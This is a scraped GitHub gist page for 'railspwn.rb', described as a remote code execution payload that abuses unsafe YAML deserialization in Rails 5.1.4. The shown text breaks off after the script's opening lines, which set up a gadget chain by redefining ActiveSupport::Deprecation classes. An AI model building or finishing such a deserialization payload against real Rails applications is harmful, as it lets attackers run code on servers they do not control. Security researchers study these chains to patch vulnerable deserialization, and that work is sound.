Skip to content

Instantly share code, notes, and snippets.

View rootxharsh's full-sized avatar

Harsh Jaiswal rootxharsh

View GitHub Profile
@niklasb
niklasb / railspwn.rb
Last active March 7, 2021 12:14
Rails 5.1.4 YAML unsafe deserialization RCE payload
require 'yaml'
require 'base64'
require 'erb'
class ActiveSupport
class Deprecation
def initialize()
@silenced = true
end
class DeprecatedInstanceVariableProxy